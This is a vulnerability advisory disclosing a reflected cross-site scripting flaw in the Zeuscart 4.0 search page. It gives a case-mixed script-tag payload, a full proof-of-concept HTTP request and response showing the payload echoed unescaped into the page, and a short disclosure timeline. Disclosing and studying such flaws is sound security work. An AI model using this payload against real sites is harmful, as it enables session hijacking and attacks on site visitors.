Zeuscart 4.0 Search Cross Site Scripting

`#Vulnerability: Cross-Site Scripting  
#Vendor: http://www.zeuscart.com  
#Download link: http://zeuscart.com/download/  
#Affected version: Zeuscart V4  
#CVSS v3.0 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N  
#Condition: The attack is performed by an "Anonymous User"  
#Payload: "--><ScRipt>alert(/ITASVN/)</ScRipT>  
#Fix version: N/A  
#Author: Dang Quoc Thai – [email protected] và ITAS Team  
  
::PROOF OF CONCEPT::  
+ REQUEST  
GET  
/index.php?do=search&search=%22--%3E%3CScRipt%3Ealert(/ITASVN/)%3C/ScRipT%3E  
HTTP/1.1  
Host: demo.target.com  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101  
Firefox/41.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://www.target.com/demo/  
Cookie: PHPSESSID=0f9ce01d2822471dee23af07947e9074  
Connection: keep-alive  
  
+RESPONSE  
HTTP/1.1 200 OK  
Date: Mon, 02 Nov 2015 02:21:55 GMT  
Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips  
mod_bwlimited/1.4  
X-Powered-By: PHP/5.3.29  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html  
Content-Length: 25032  
...  
<!--logo-->  
<div id="logo_div">  
<div class="row-fluid">  
<span class="hidden-tablet">  
<div class="span5"><a href="http://demo.target.com/index.php?do=index"><img  
src="http://demo.target.com/images/logo/20151012210547_sell_logo.png"  
alt="ZeusCart"></a></div>  
<div class="span4">  
<div class="input-append" style=" margin-top: 30px;">  
<input style="width:170px; height:18px; overflow:hidden;" name="search"  
type="text" id="searchtxt" value="\"--><ScRipt>alert(/ITASVN/)</ScRipT>"  
onclick="searchitem();">&nbsp;<button class="btn" type="button"  
onclick="searchSubmit();" value="Search"><i class="icon-zoom-in"></i>  
Search</button>  
</div></div>  
<div class="span3" style=" margin-top: 30px;"><a  
href="http://demo.target.com/index.php?do=showcart"><div  
id="shopping_cart"><i>Shopping Cart - 0&nbsp;Items</i></div></a>  
</div>  
</span  
...  
  
::Timeline::  
- 10/13/2015: Contact vendor  
- 10/16/2015: No response from vendor  
- 10/16/2015: Disclose information  
  
::REFERENCE::  
-  
http://www.itas.vn/en/itas-team-found-out-a-cross-site-scripting-vulnerabili  
ty-in-zeuscart-cms/   
- https://www.youtube.com/watch?v=CPgzAra_mXw   
`